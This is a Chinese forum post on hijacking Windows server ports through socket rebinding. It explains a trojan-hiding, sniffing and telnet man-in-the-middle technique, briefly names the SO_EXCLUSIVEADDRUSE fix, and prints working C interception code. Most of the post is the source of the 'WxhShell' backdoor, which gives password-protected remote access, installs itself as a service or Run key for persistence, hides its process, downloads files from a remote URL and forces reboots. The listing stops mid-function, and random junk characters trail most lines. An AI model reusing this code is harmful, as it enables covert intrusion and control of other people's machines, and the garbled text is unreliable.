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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l[fU0;A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 24}r;=U  
#5-0R7\d7  
  saddr.sin_family = AF_INET; ]HgAI$aA,  
fpwge/w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =q.2S; ?  
SuMK=^>%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^PMP2\JQA  
Jk!}z+X'A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -4m UGh1dy  
MW=2GhD=  
  这意味着什么?意味着可以进行如下的攻击: \h~;n)FI  
3l0x~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BI?M/pIm  
40<ifz[7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) />S=Y"a/7  
*` >(K&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2_6x2Ia4  
.h-:) e*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U-6b><  
n a])bBn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;]3Tuq  
~T7\lJ{%G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y&")7y/uE  
#>g]CRN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nqg=I  
y,v*jE  
  #include f7mP4[+dS  
  #include &uI`Xq.  
  #include _V^^%$  
  #include    3N|,c]|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T.H S.  
  int main() x>m_ v  
  { |Tuk9d4]  
  WORD wVersionRequested; a938l^@;s8  
  DWORD ret; rIR~YMv!  
  WSADATA wsaData; R R<92R  
  BOOL val; glbU\K> >  
  SOCKADDR_IN saddr; _[zO?Div[  
  SOCKADDR_IN scaddr; @{\q1J>  
  int err; -&oJ@Aa  
  SOCKET s; `ySLic`  
  SOCKET sc; B v /]>Z  
  int caddsize; );$_|]#  
  HANDLE mt; h1} x2  
  DWORD tid;   >y#<WB$i  
  wVersionRequested = MAKEWORD( 2, 2 ); T B~C4HK=  
  err = WSAStartup( wVersionRequested, &wsaData ); ;  6Js   
  if ( err != 0 ) { ~]a:9Ev*  
  printf("error!WSAStartup failed!\n"); |f;u5r!^=  
  return -1; USy^Y?~ ;  
  } ]f=108|8  
  saddr.sin_family = AF_INET; ^5x\cR  
   A6YkoYgC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Wg9q_Ql  
v>CA A"LH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z%Q[W}iD  
  saddr.sin_port = htons(23); zL$$G,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z)I.^  
  { T|`nw_0  
  printf("error!socket failed!\n"); [GJ_]w^}j  
  return -1; O$ui:<]dS  
  } CKeT%3  
  val = TRUE; ,rx?Ig}k z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JJ[.K*dO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oY{L0B[  
  { Z_Ffiw(p  
  printf("error!setsockopt failed!\n"); ya8MjGo  
  return -1; 8`l bKV  
  } LK5, GWF;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b"n0Yk1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RuSKJ,T:9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MgkeD  
Ze_4MwC W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9bd$mp  
  { ZT;$aNy  
  ret=GetLastError(); 3.>M=K~09  
  printf("error!bind failed!\n"); s>hNwb/  
  return -1; f*U3s N^y  
  } tGv5pe*r  
  listen(s,2); +QpgG4h  
  while(1) |Xz-rgkQ  
  { 8>Az<EF^=#  
  caddsize = sizeof(scaddr); Bc{j0Su  
  //接受连接请求 }EM  vEA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ! f!/~M"!  
  if(sc!=INVALID_SOCKET) @$o.Z;83`r  
  { p,#t[K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }o^VEJc`O  
  if(mt==NULL) .=@xTJh  
  { }t5-%&gBY0  
  printf("Thread Creat Failed!\n"); jD]Ci#|W  
  break; tgk] sQY  
  } K[{hh;7  
  } X+6`]]  
  CloseHandle(mt); DXFU~J*  
  } qaE>])  
  closesocket(s); !j8.JP}!)  
  WSACleanup(); (@wgNA-P  
  return 0; EyU5r$G  
  }   I'W`XN  
  DWORD WINAPI ClientThread(LPVOID lpParam) MPaF  
  { `p qj~s  
  SOCKET ss = (SOCKET)lpParam; {yj8LxX^  
  SOCKET sc; (.r9bl  
  unsigned char buf[4096]; w4I&SLm-b  
  SOCKADDR_IN saddr; bxU2.YC  
  long num; f7&53yZF  
  DWORD val; XR2Gw 4]  
  DWORD ret; yE+Wb[H[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l 1C'<+2j!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QlxzWd3=q  
  saddr.sin_family = AF_INET; )67pBj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sn>2dRW{  
  saddr.sin_port = htons(23); OO$YwOKS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8s+9PE  
  { >aw`kr  
  printf("error!socket failed!\n"); 'c]Fhe fb  
  return -1; "INIP?  
  } 5B:% ##Ug5  
  val = 100; *yX5g,52-|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !]#@:Z  
  { TPE1}8p17  
  ret = GetLastError(); R_JB`HFy=  
  return -1; VK)vb.:  
  } R%%Uw %`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <vb%i0+b.^  
  {  Vv|%;5(  
  ret = GetLastError(); <I 5F@pe'  
  return -1; ICvl;Q  
  } ! !KA9mP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8D]&wBR:  
  { ab-z 7g  
  printf("error!socket connect failed!\n"); `#g62wb,HY  
  closesocket(sc); \}Hi\k+h':  
  closesocket(ss); >_3P6-L>  
  return -1; ,_wpYTl*X  
  } H^TU?vz} <  
  while(1) r]+/"~a  
  { ?:$aX@r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .5_zh; `  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]S2F9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Xh5&J9pw   
  num = recv(ss,buf,4096,0); EOj.Jrs~  
  if(num>0) o&U'zaj  
  send(sc,buf,num,0); )G+D6s23  
  else if(num==0) D(X:dB50@  
  break; J=l\t7w  
  num = recv(sc,buf,4096,0); FN+x<VXo(  
  if(num>0) )(/Bw&$  
  send(ss,buf,num,0); 6P$jMjs  
  else if(num==0)  gl$}t H  
  break; )i^+=TZq  
  } +|K/*VVn`  
  closesocket(ss); nSSj&q-O  
  closesocket(sc); }+/F?_I= %  
  return 0 ; ABIQi[A  
  } O$*\JL  
F?c : ).g  
SHA6;y+U/~  
========================================================== /EvnwYQy  
i6-&$<  
下边附上一个代码,,WXhSHELL <)]j;Tl  
Z~{0x#?4%  
========================================================== Ly~s84k_po  
xXQW|#X\  
#include "stdafx.h" k:yrh:JhB  
P3_ &(  
#include <stdio.h> lHc|: vG?  
#include <string.h> G0mvrc-(  
#include <windows.h> 8b|m66#|  
#include <winsock2.h> [ApAd  
#include <winsvc.h> _08y; _S  
#include <urlmon.h> s$?u'}G3  
Y{`hRz`  
#pragma comment (lib, "Ws2_32.lib") E/Adi^  
#pragma comment (lib, "urlmon.lib") ,AuejMd  
sOBuJx${m  
#define MAX_USER   100 // 最大客户端连接数 F !MxC  
#define BUF_SOCK   200 // sock buffer Aw,#oG {N  
#define KEY_BUFF   255 // 输入 buffer omZ bn  
'Im&&uSkr  
#define REBOOT     0   // 重启 MngfXm  
#define SHUTDOWN   1   // 关机 p}MH LM  
:}+m[g  
#define DEF_PORT   5000 // 监听端口 `XK+Y  
&?0hj@kd~  
#define REG_LEN     16   // 注册表键长度 wrEYbb  
#define SVC_LEN     80   // NT服务名长度 2`cVi"U  
W't.e0L<6  
// 从dll定义API &aWY{ ?_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IfF&QBi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K/D,sH!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 40Z/;,wp{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); - * _"ZgE  
U\`yLsKvH`  
// wxhshell配置信息 q,fk@GI'2  
struct WSCFG { =G-u "QJ6  
  int ws_port;         // 监听端口 nTH!_S>b(Y  
  char ws_passstr[REG_LEN]; // 口令 tRzo}_+N  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yvxp(  
  char ws_regname[REG_LEN]; // 注册表键名 -) \!@n0  
  char ws_svcname[REG_LEN]; // 服务名 >YP]IQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a^MR"i>@G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gt:Ot0\7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (IIOVv 1J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =:pN82.G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yL%k5cO$N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }c;h:CE#  
]qNPOnlp  
}; Oo`b#!L  
K0\Wty0  
// default Wxhshell configuration d +Bz pS@p  
struct WSCFG wscfg={DEF_PORT, K}YOs.  
    "xuhuanlingzhe", a&~]77)  
    1, jHWJpm(  
    "Wxhshell", aFrVP  
    "Wxhshell", i4*!t.eI  
            "WxhShell Service", m8ydX6~max  
    "Wrsky Windows CmdShell Service", fP 5!`8  
    "Please Input Your Password: ", +gsk}>"  
  1, S&m5]h!D  
  "http://www.wrsky.com/wxhshell.exe", rXR}]|;>  
  "Wxhshell.exe" 4!r> ^a  
    }; %D:5 S?{  
t?j2Rw3f`I  
// 消息定义模块 @5-+>\Hd^t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .1C|J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 59I}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *>XY' -;2e  
char *msg_ws_ext="\n\rExit."; G ]mX+?  
char *msg_ws_end="\n\rQuit."; f{[,!VG  
char *msg_ws_boot="\n\rReboot..."; H9Pe,eHs  
char *msg_ws_poff="\n\rShutdown..."; vDAv/l9  
char *msg_ws_down="\n\rSave to "; tF d^5A*  
4)3!n*I  
char *msg_ws_err="\n\rErr!"; AH(O"v`  
char *msg_ws_ok="\n\rOK!"; 2)^[SpZ  
fJ3qL# '  
char ExeFile[MAX_PATH]; #2!M+S  
int nUser = 0; I({ 7a i  
HANDLE handles[MAX_USER]; J}.y+b>8\  
int OsIsNt; 6)eU &5z1?  
pPG@_9qf  
SERVICE_STATUS       serviceStatus; m&Mvb[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =c8U:\0  
)LYj,do  
// 函数声明 ^JMSe-  
int Install(void); :6z0Ep"  
int Uninstall(void); BVC{Zq6hi  
int DownloadFile(char *sURL, SOCKET wsh); Fq5);sX=  
int Boot(int flag); cF[[_  
void HideProc(void); B|O/h! H.  
int GetOsVer(void); q t}[M|Q^r  
int Wxhshell(SOCKET wsl); yf=ek= =  
void TalkWithClient(void *cs); 9e Dji,  
int CmdShell(SOCKET sock); >P=xzg79  
int StartFromService(void); TJB0O]@3  
int StartWxhshell(LPSTR lpCmdLine); xy|-{  
GfQP@R"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /j' We-C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZtEHP`Iin  
HC8{);  
// 数据结构和表定义 ZX.VzZS  
SERVICE_TABLE_ENTRY DispatchTable[] = !+M H?A  
{ 6iFd[<.*j  
{wscfg.ws_svcname, NTServiceMain}, b['TRYc=:  
{NULL, NULL} ):+H`Hcm  
}; 79%${ajSI  
`4&\ %9   
// 自我安装 <!zItFMD[m  
int Install(void) 5hpb=2  
{  j>s%q .  
  char svExeFile[MAX_PATH]; ,7M9f  
  HKEY key; 1{"fmV  
  strcpy(svExeFile,ExeFile); 7@DinA!  
jq["z<V )x  
// 如果是win9x系统,修改注册表设为自启动 N_VAdNJ^:  
if(!OsIsNt) { $}k"wI[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "MXd!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )}c$n  
  RegCloseKey(key); ]'_z (s}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :7Vm]xd}do  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XR\ iQ  
  RegCloseKey(key); y::;e#.  
  return 0; 7B% @f9g  
    } Sjr(e}*  
  } f8?K_K;\   
} O|j5ulO}&"  
else { o D* '  
J7QlGm,=  
// 如果是NT以上系统,安装为系统服务 s !8]CV>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _k sp;kH?)  
if (schSCManager!=0) #K*d:W3C  
{ .<42-IEc  
  SC_HANDLE schService = CreateService z7PPwTBa  
  ( x\Sp~]o3C  
  schSCManager, E7_^RWG  
  wscfg.ws_svcname, A{6ZEQAh>  
  wscfg.ws_svcdisp, Y\p yl  
  SERVICE_ALL_ACCESS, Lp ]d4"L;3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x2ol   
  SERVICE_AUTO_START, RV(}\JU  
  SERVICE_ERROR_NORMAL, +Kq>r|;  
  svExeFile, h'-TZXs0e1  
  NULL, 2|%30i,vV  
  NULL, ^1cqx]>E  
  NULL, Y5MHd>m  
  NULL, m'qMcCE  
  NULL :za!!^  
  ); 6!"15dPN  
  if (schService!=0) ZTmdS  
  { ',!#?aGV  
  CloseServiceHandle(schService); 2qr%xK'^B  
  CloseServiceHandle(schSCManager); i ^IvT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s\jLIrG8  
  strcat(svExeFile,wscfg.ws_svcname); 6:EO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7GP?;P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <01B\t7  
  RegCloseKey(key); ufR |  
  return 0; _ u:#2K$  
    } Jx>P%>+<j  
  } <m(nZ'Zqz2  
  CloseServiceHandle(schSCManager); r\3In-(AT  
} F}01ikXDb'  
} <aHK{ *'3  
2hu6  
return 1; y~luuV;uj  
} &erNVD5o  
5;^8wh(  
// 自我卸载 9M7P]$^  
int Uninstall(void) ev?>Nq+Z  
{ d;;=s=j  
  HKEY key; )nJ>kbO~8  
@P.l8|w  
if(!OsIsNt) { ifgaBXT55  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0"QE,pLe4  
  RegDeleteValue(key,wscfg.ws_regname); W"Rii]GK"  
  RegCloseKey(key); O.$<Bf9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nu3 A'E`'k  
  RegDeleteValue(key,wscfg.ws_regname); Z?x]HB`r  
  RegCloseKey(key); {[9^@k  
  return 0; WWO jyj  
  } TRq~n7Y7C  
} !c&^b@ yw  
} ( ~OwO_|3  
else { Rxli;blzi  
U=yD!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uo{QF5z]  
if (schSCManager!=0) =az$WRV+7!  
{ aFSZYyPxwv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fu`g)#Z  
  if (schService!=0) I&xRK'  
  { Q.|2/6hD7[  
  if(DeleteService(schService)!=0) { {'ZnxK'  
  CloseServiceHandle(schService); o&AUB` .9~  
  CloseServiceHandle(schSCManager); A |&EI-In  
  return 0; VC+\RB#:-  
  } ;|^fAc~9{r  
  CloseServiceHandle(schService); *@ o3{0[Z  
  } 1=D!C lcb  
  CloseServiceHandle(schSCManager); lR(&Wc\j  
} evs2dz<eA  
} =['ijD4TW  
xl9l>k6,  
return 1; kU Flp  
} dg!sRm1iZ:  
UEeqk"t^  
// 从指定url下载文件 uJO*aA{K  
int DownloadFile(char *sURL, SOCKET wsh) wTW"1M  
{ us cR/d  
  HRESULT hr; .Sn1YAhE  
char seps[]= "/"; D[r  
char *token; +?<jSmGW  
char *file; g\.N>P@Bu  
char myURL[MAX_PATH]; v\ox:C  
char myFILE[MAX_PATH];  X"0Q)  
f/B--jq  
strcpy(myURL,sURL); ~4^e a  
  token=strtok(myURL,seps); g3Q #B7A  
  while(token!=NULL) yS43>UK_W+  
  { b?$09,{0  
    file=token; 4TKi)0 #7  
  token=strtok(NULL,seps); }cT}G;L'-  
  } 3pp w_?k  
R3PhKdQ"  
GetCurrentDirectory(MAX_PATH,myFILE); *O5+?J Z!  
strcat(myFILE, "\\"); Q.\>+4]1&&  
strcat(myFILE, file); QD<4(@c5|  
  send(wsh,myFILE,strlen(myFILE),0); ayD\b6Z2.  
send(wsh,"...",3,0); [GuDMl3hC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \f  LBw0  
  if(hr==S_OK) C;5}/J^E  
return 0; Dpd$&Wr0Y  
else UE4#j \  
return 1; pUr[MnQLf  
7" [;M  
} ts]7 + 6V  
x\DkS,O  
// 系统电源模块 ' 7A7HDJ  
int Boot(int flag) _#O?g=1  
{ FCWphpz  
  HANDLE hToken; JW\"S  
  TOKEN_PRIVILEGES tkp; +Xp;T`,v  
-AT@M1K7%  
  if(OsIsNt) { zT% kx:Fk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =/;_7|ssd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JdHc'WtS!|  
    tkp.PrivilegeCount = 1; ,gvX ~k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ie!4z34  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3EvA 5K.  
if(flag==REBOOT) { #+;=ijyF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6`C27  
  return 0; 7|-xM>L$A  
} DX"; v J  
else { zEW:Xe)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fq|2E&&v  
  return 0; _&/Zab5  
} Z@ kC28  
  } @nP}q!y  
  else { {Y[D!W2y  
if(flag==REBOOT) { DVJc-.x8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VO Qt{v{1|  
  return 0; d eoM~r9s  
} pqSE|3*l  
else { 1,T9HpM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u B\& Q;  
  return 0; l8-jFeeMd  
} k)py\  
} `<zb  
.F2nF8  
return 1; {nefS\#{  
} .6 NSt  
=T)2wcXBB  
// win9x进程隐藏模块 lt4jnV2"a  
void HideProc(void) fn OkH  
{ ^wa9zs2s;/  
<k](s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0EOX@;}  
  if ( hKernel != NULL ) s%oAsQ_y  
  { j6vZ{Fx;w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $:[BB ,$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0*?XQV@  
    FreeLibrary(hKernel); yV/ J(  
  } SN(=e#ljE  
4C%>/*%8>  
return; :dN35Y]a  
} _oTT3[7P  
U.U.\   
// 获取操作系统版本 Y:%)cUxA  
int GetOsVer(void) KeI:/2  
{ CLEG'bZa,  
  OSVERSIONINFO winfo; e:LZs0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $ud>Z;X=P  
  GetVersionEx(&winfo); 1gm/{w6O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O&w3@9KJ?  
  return 1; l;*lPRoW,  
  else 1bg@[YN!;  
  return 0; @$d\5Q(G  
} i\;&CzC:  
8(5E<&JP  
// 客户端句柄模块 `^L<db^A  
int Wxhshell(SOCKET wsl) \>Rwg=Lh  
{ .)> /!|i  
  SOCKET wsh; 9>3Ltnn0  
  struct sockaddr_in client; sBtG}Mo)  
  DWORD myID; ~'J =!Xy  
W8$=a  
  while(nUser<MAX_USER) i?>> 9f@F  
{ CQ.4,S}6'  
  int nSize=sizeof(client); Y-q@~v Z]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O2]r]9sh*  
  if(wsh==INVALID_SOCKET) return 1; = 6<w'>  
;b?+:L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1qj%a%R  
if(handles[nUser]==0) >zg8xA1zL  
  closesocket(wsh); 3B".Gsm)X  
else (4ci=*3=  
  nUser++; J(0=~Z[  
  } 8[1DO1*P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sN1*Zp'(  
:F>L;mp  
  return 0; LnTe_Q7_  
} 90iW-"l+[  
l~4e2xoT  
// 关闭 socket mnQjX ?  
void CloseIt(SOCKET wsh) 2${,%8"0s  
{ m0\"C-Bk  
closesocket(wsh); n5k^v $'  
nUser--; aC yb-P  
ExitThread(0); .;Utkf'I  
} Z#Zzi5<  
4zqE?$HM'  
// 客户端请求句柄 \kV7NA  
void TalkWithClient(void *cs) uP{+?#a_-\  
{ P}+|`>L  
xUo)_P\_  
  SOCKET wsh=(SOCKET)cs; ys[i`~$  
  char pwd[SVC_LEN]; |<3Q+EB^  
  char cmd[KEY_BUFF]; K;y\[2;}e,  
char chr[1]; OpbT63@L  
int i,j; J4Z<Yt/  
k[ffs}  
  while (nUser < MAX_USER) { :qCm71*  
x|v[Dxf]  
if(wscfg.ws_passstr) { }8V;s-1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H]i+o6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Iz?W tm }  
  //ZeroMemory(pwd,KEY_BUFF); s/G5wRl<  
      i=0; t66f 7AR  
  while(i<SVC_LEN) { oa&US_  
m>uI\OY{n  
  // 设置超时 Tc3ih~LvG  
  fd_set FdRead; z<[.MH`ln  
  struct timeval TimeOut; <S8I"8{Mb  
  FD_ZERO(&FdRead); *M5$ h*;v  
  FD_SET(wsh,&FdRead); 2>MP:yY;K  
  TimeOut.tv_sec=8; Eo { 1y  
  TimeOut.tv_usec=0; Z;Ir>^<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); + <!)k?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "`jZ(+  
1!;"bHpk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s;_#7x#  
  pwd=chr[0]; G{:af:5Fo  
  if(chr[0]==0xd || chr[0]==0xa) { p~, 3A:i  
  pwd=0;  zfjDb  
  break; t)oES>W1  
  } (ciGLfNG  
  i++; U-~*5Dd  
    } yA !3XUi  
n^JUZ8  
  // 如果是非法用户,关闭 socket Pzk[^z$C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MOp=9d+N~  
} (Y'UvZlM%P  
\2gvp6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r\l3_t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e<L 9k}c  
;Z!~A"~$>  
while(1) { f0cYvL ]  
}P&1s,S8J#  
  ZeroMemory(cmd,KEY_BUFF); *C3uMiz  
oz\{9Lwc  
      // 自动支持客户端 telnet标准   1F3QI|  
  j=0; A{i][1N  
  while(j<KEY_BUFF) { U9@t?j_#X{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lem\UD$D`  
  cmd[j]=chr[0]; (:&&;]sI  
  if(chr[0]==0xa || chr[0]==0xd) { X|-v0 f  
  cmd[j]=0; (5Z8zNH`3  
  break;  \]f5  
  } mJGO)u&  
  j++; V(lK`dY  
    } -~( 0O  
gfdPx:7^  
  // 下载文件 7E!";HT  
  if(strstr(cmd,"http://")) { [Q7->Wo|S:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k lP{yxU'n  
  if(DownloadFile(cmd,wsh)) xI`Uk8-8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |iwM9oO%  
  else %S >xSqX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ bXVg3oDt  
  } k\mXo-:V6  
  else { xP{HjONu  
u n?j  
    switch(cmd[0]) { 1kvPiV=X>  
  dt-Qu},8-  
  // 帮助 0^<Skm27"  
  case '?': { ~!3t8Hx6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [0%yJH  
    break; ;I!+ lx3[  
  } R (tiIo  
  // 安装 :c~9>GCE&  
  case 'i': { PSP1>-7)w  
    if(Install()) Zzw}sZ?8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5(iSOsb  
    else IKMs Y5i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AND7jEn  
    break; R\9>2*w  
    } dT0^-XSY  
  // 卸载 vWqyZ-p,q  
  case 'r': { aWHd}%  
    if(Uninstall()) 2p$n*|T&c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \yJZvhUk  
    else @7Q*h   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EFa{O`_@U  
    break; VL_)]LR*)  
    } 4f{[*6 GX  
  // 显示 wxhshell 所在路径 k8InbX[  
  case 'p': { 2|0Je^$|  
    char svExeFile[MAX_PATH]; Eonq'Re$  
    strcpy(svExeFile,"\n\r"); q5:0&:m$4$  
      strcat(svExeFile,ExeFile); %mK3N2N$  
        send(wsh,svExeFile,strlen(svExeFile),0); 8~&F/C*  
    break; 6pM"h5hA  
    } W\I$`gyC/  
  // 重启 Z #.GI  
  case 'b': { i#L6UKe:Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _9Dn \=g  
    if(Boot(REBOOT)) &#.x)>f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  aNOAu/  
    else { &K9VEMCEX  
    closesocket(wsh); pTa'.m  
    ExitThread(0); \b_-mnN"  
    } im_w+h%^  
    break; ^Ei*M0fF  
    } U=haX x4N  
